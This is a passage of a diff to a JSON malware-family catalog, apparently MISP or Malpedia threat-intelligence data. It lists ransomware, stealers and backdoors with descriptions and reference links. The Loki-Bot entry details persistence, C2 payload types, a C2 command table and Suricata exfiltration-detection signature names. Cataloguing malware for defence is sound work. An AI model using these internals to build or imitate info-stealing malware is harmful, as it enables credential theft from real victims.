additional KoiVM virtualization plugin.\r\nThe victims were observed ti be scattered around the world, with main concentation in Estern Europe and Asia (BlackBerry).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokilocker", + "https://blogs.blackberry.com/en/2022/03/lokilocker-ransomware", + "https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/", + "https://www.theregister.com/2022/03/16/blackberry_lokilocker_ransomware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3642aa5a-61b3-4de9-b124-8ecb8b53351d", + "value": "LokiLocker" + }, { "description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\\ C98066\\”.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2", "meta": { @@ -23126,6 +27507,7 @@ "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/evasive-urls-in-spam-part-2/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", "https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/", "https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/", @@ -23136,19 +27518,25 @@ "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", "https://www.virusbulletin.com/virusbulletin/2020/02/lokibot-dissecting-cc-panel-deployments/", "https://medium.com/@paul.k.burbage/the-tale-of-the-pija-droid-firefinch-4d304fde5ca2", + "https://malcat.fr/blog/statically-unpacking-a-simple-net-dropper/", "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://malcat.fr/blog/reversing-a-nsis-dropper-using-quick-and-dirty-shellcode-emulation/", "https://github.com/R3MRUM/loki-parse", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://lab52.io/blog/a-twisted-malware-infection-chain/", "https://www.youtube.com/watch?v=-FxyzuRv6Wg", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/loki-info-stealer-propagates-through-lzh-files", "https://news.sophos.com/en-us/2020/05/14/raticate/", + "http://reversing.fun/posts/2021/06/08/lokibot.html", + "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", "http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html", "https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf", "https://isc.sans.edu/diary/27282", "https://www.trendmicro.com/en_us/research/21/h/new-campaign-sees-lokibot-delivered-via-multiple-methods.html", "https://clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/loki-info-stealer-propagates-through-lzh-files", + "https://www.infoblox.com/wp-content/uploads/infoblox-whitepaper-deep-analysis-of-a-recent-lokibot-attack.pdf", "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", "https://www.lastline.com/blog/password-stealing-malware-loki-bot/", "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", @@ -23158,9 +27546,11 @@ "https://www.youtube.com/watch?v=N0wAh26wShE", "https://marcoramilli.com/2019/10/28/sweed-targeting-precision-engineering-companies-in-italy/", "https://phishme.com/loki-bot-malware/", + "https://www.atomicmatryoshka.com/post/malware-headliners-lokibot", "https://securelist.com/loki-bot-stealing-corporate-passwords/87595/" ], "synonyms": [ + "Burkina", "Loki", "LokiBot", "LokiPWS" @@ -23170,6 +27560,19 @@ "uuid": "b8fa5036-813f-4887-b4d4-bb17b4a7eba0", "value": "Loki Password Stealer (PWS)" }, + { + "description": "According to ESET, this is a banking trojan that was active mainly in Mexico until the beginning of 2020, with builds for Brazil, Chile, and Colombia also having been identified.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokorrito", + "https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5e8f3d59-15bc-492c-afdb-4b71e0417142", + "value": "Lokorrito" + }, { "description": "", "meta": { @@ -23225,6 +27628,7 @@ "https://threatgen.com/taking-a-closer-look-at-the-lookback-malware-campaign-part-1/", "https://nao-sec.org/2021/01/royal-road-redive.html", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/", "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/", "https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals", "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", @@ -23257,14 +27661,16 @@ "value": "L0rdix" }, { - "description": "", + "description": "Tesorion describes Lorenz as a ransomware with design and implementation flaws, leading to impossible decryption with tools provided by the attackers. A free decryptor for 2021 versions was made available via the NoMoreRansom initiative. A new version of the malware was discovered in March 2022, for which again was provided a free decryptor, while the ransomware operators are not able to provide tools to decrypt affected files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz", - "https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/", "https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20", - "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/", - "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/" + "https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/", + "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware", + "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/", + "https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/", + "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/" ], "synonyms": [], "type": [] @@ -23308,6 +27714,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey", "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf", "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/", + "https://www.mandiant.com/resources/apt41-us-state-governments", "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html" ], "synonyms": [ @@ -23318,6 +27725,20 @@ "uuid": "515d1318-c3b1-4d40-a321-31b3baf75414", "value": "LOWKEY" }, + { + "description": "This in Go written malware is lsass process memory dumper, which was custom developed by threat actors according to Security Joes. It has the capability to automatically exfiltrate the results to the free file transfer service \"transfer.sh\".", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lsassdumper", + "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f6e9f1f3-91ba-40af-aa2d-d0d5e824b791", + "value": "lsassDumper" + }, { "description": "", "meta": { @@ -23393,6 +27814,46 @@ "uuid": "8c0d3012-9dcb-46d3-964f-8a3c5b58d1b2", "value": "Luzo" }, + { + "description": "This .NET written malware is used as backdoor using the dns protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing diles/directories/installed applications, and uploading/downloading/execution of files). There are also variants using HTTP (.Net) and also one written in Golang.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_dns_backdoor_dotnet", + "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/", + "https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e7117036-5142-4a07-ae85-c3ddba7f1d75", + "value": "Lyceum .NET DNS Backdoor" + }, + { + "description": "This .Net written malware is used as backdoor using the http protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing diles/directories/installed applications, and uploading/downloading/execution of files). There are also variants using DNS (.Net) and also one written in Golang.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_http_backdoor_dotnet", + "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "92e533c5-b32a-411a-9fcc-733854c4a18c", + "value": "Lyceum .NET TCP Backdoor" + }, + { + "description": "This Golang written malware is used as backdoor using the http protocol by a state sponsored threat actor (TA). This backdoor is running in a loop of three stages: \r\n- Check the connectivity\r\n- Registration of the victim\r\n- Retrieval and execution of commands\r\nThis TA is using also variants .NET backdoors utilizing HTTP and DNS.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_http_backdoor_golang", + "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "61fda7db-5e82-4e8c-a629-e8cc36151dec", + "value": "Lyceum Golang HTTP Backdoor" + }, { "description": "", "meta": { @@ -23425,6 +27886,35 @@ "uuid": "737a73d5-40a2-4779-a84b-bdbefd1af4c9", "value": "M00nD3V Logger" }, + { + "description": "Modular x86/x64 file infector created/used by Maze ransomware developer. According to the author, it has been mistakenly tagged by AVs as Expiro.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv", + "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py" + ], + "synonyms": [], + "type": [] + }, + "uuid": "73db5c33-c05c-4835-af4d-9223516b0915", + "value": "m0yv" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw", + "https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" + ], + "synonyms": [], + "type": [] + }, + "uuid": "523883ea-b865-4713-b5ed-bb1a808f35cf", + "value": "Macaw" + }, { "description": "According to ESET, Machete’s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64‑encoded text that corresponds to AES‑encrypted strings.\r\nGoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence.\r\nRegarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it’s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL.\r\nThe GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.", "meta": { @@ -23433,6 +27923,7 @@ "https://static1.squarespace.com/static/5a01100f692ebe0459a1859f/t/5da340ded5ccf627e1764059/1570980068506/Day3-1130-Green-A+study+of+Machete+cyber+espionage+operations+in+Latin+America.pdf", "https://securelist.com/el-machete/66108/", "https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6", + "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", "https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html", "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html", "https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/" @@ -23475,14 +27966,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber", - "https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372", + "https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/", "https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/", - "https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/", + "https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372", + "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", + "https://asec.ahnlab.com/en/30645/", "https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/", + "https://www.youtube.com/watch?v=lqWJaaofNf4", "https://www.cybereason.com/blog/threat-analysis-report-printnightmare-and-magniber-ransomware", + "https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/", "http://asec.ahnlab.com/1124", "https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/", - "https://www.youtube.com/watch?v=lqWJaaofNf4", + "https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/", "https://asec.ahnlab.com/en/19273/", "https://teamt5.org/tw/posts/internet-explorer-the-vulnerability-ridden-browser/" ], @@ -23516,6 +28011,7 @@ "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/", "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", @@ -23530,7 +28026,10 @@ "https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/", "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/", "https://www.ucsf.edu/news/2020/06/417911/update-it-security-incident-ucsf", + "https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware", @@ -23546,6 +28045,8 @@ "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", @@ -23628,7 +28129,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware", "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", - "https://twitter.com/siri_urz/status/1221797493849018368" + "https://twitter.com/siri_urz/status/1221797493849018368", + "https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf" ], "synonyms": [], "type": [] @@ -23816,6 +28318,30 @@ "uuid": "c19ac191-a881-437f-ae82-7bec174590cb", "value": "MarkiRAT" }, + { + "description": "3xp0rt describes Mars Stealer as an improved successor of Oski Stealer, supporting stealing from current browsers and targeting crypto currencies and 2FA plugins.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer", + "https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealer", + "https://blog.sekoia.io/mars-a-red-hot-information-stealer/", + "https://cyberint.com/blog/research/mars-stealer/", + "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", + "https://x-junior.github.io/malware%20analysis/MarsStealer/", + "https://cert.gov.ua/article/38606", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://3xp0rt.com/posts/mars-stealer", + "https://blog.morphisec.com/threat-research-mars-stealer", + "https://isc.sans.edu/diary/rss/28468" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a5c1a9bd-5c1c-4987-8844-2c38e7b83507", + "value": "Mars Stealer" + }, { "description": "", "meta": { @@ -23856,7 +28382,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus", - "https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/" + "https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a", + "https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/", + "https://research.openanalysis.net/matanbuchus/loader/yara/triage/dumpulator/emulation/2022/06/19/matanbuchus-triage.html", + "https://isc.sans.edu/diary/rss/28752", + "https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/", + "https://www.0ffset.net/reverse-engineering/matanbuchus-loader-analysis/" ], "synonyms": [], "type": [] @@ -23864,6 +28395,19 @@ "uuid": "e30f2243-9e69-4b09-97ab-1643929b97ad", "value": "Matanbuchus" }, + { + "description": "Matiex Keylogger is being sold in the underground forums, due to their gained popularity, and can also be used as MaaS (Malware-as-a-service) because of their ease of use, competitive pricing and immediate response from support.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.matiex", + "https://labs.k7computing.com/index.php/matiex-on-sale-underground/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b946f5d5-6503-471a-b3cd-c6c6d6149768", + "value": "Matiex" + }, { "description": "", "meta": { @@ -23884,8 +28428,10 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom", "https://unit42.paloaltonetworks.com/matrix-ransomware/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://blogs.blackberry.com/en/2018/11/threat-spotlight-inside-vssdestroy-ransomware", - "https://www.blackhoodie.re/assets/archive/Matrix_Ransomware_blackhoodie.pdf" + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-matrix-report.pdf", + "https://news.sophos.com/en-us/2019/01/30/matrix-targeted-small-scale-canary-in-the-coal-mine-ransomware/", + "https://www.blackhoodie.re/assets/archive/Matrix_Ransomware_blackhoodie.pdf", + "https://blogs.blackberry.com/en/2018/11/threat-spotlight-inside-vssdestroy-ransomware" ], "synonyms": [], "type": [] @@ -23953,16 +28499,18 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maze", "https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.docdroid.net/dUpPY5s/maze.pdf", "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", "https://www.zdnet.com/article/ransomware-gang-publishes-tens-of-gbs-of-internal-data-from-lg-and-xerox/", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/", "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", @@ -23974,18 +28522,23 @@ "https://www.cityofpensacola.com/DocumentCenter/View/18879/Deloitte-Executive-Summary-PDF", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/maze-ransomware/99137/", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", "https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md", "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", "https://sites.temple.edu/care/ci-rw-attacks/", "https://www.secureworks.com/research/threat-profiles/gold-village", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", "https://www.bleepingcomputer.com/news/security/chipmaker-maxlinear-reports-data-breach-after-maze-ransomware-attack/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", @@ -23995,18 +28548,22 @@ "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", "https://oag.ca.gov/system/files/Letter%204.pdf", "https://blogs.quickheal.com/maze-ransomware-continues-threat-consumers/", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/", "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md", "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", + "https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/", "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", "https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/", "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", 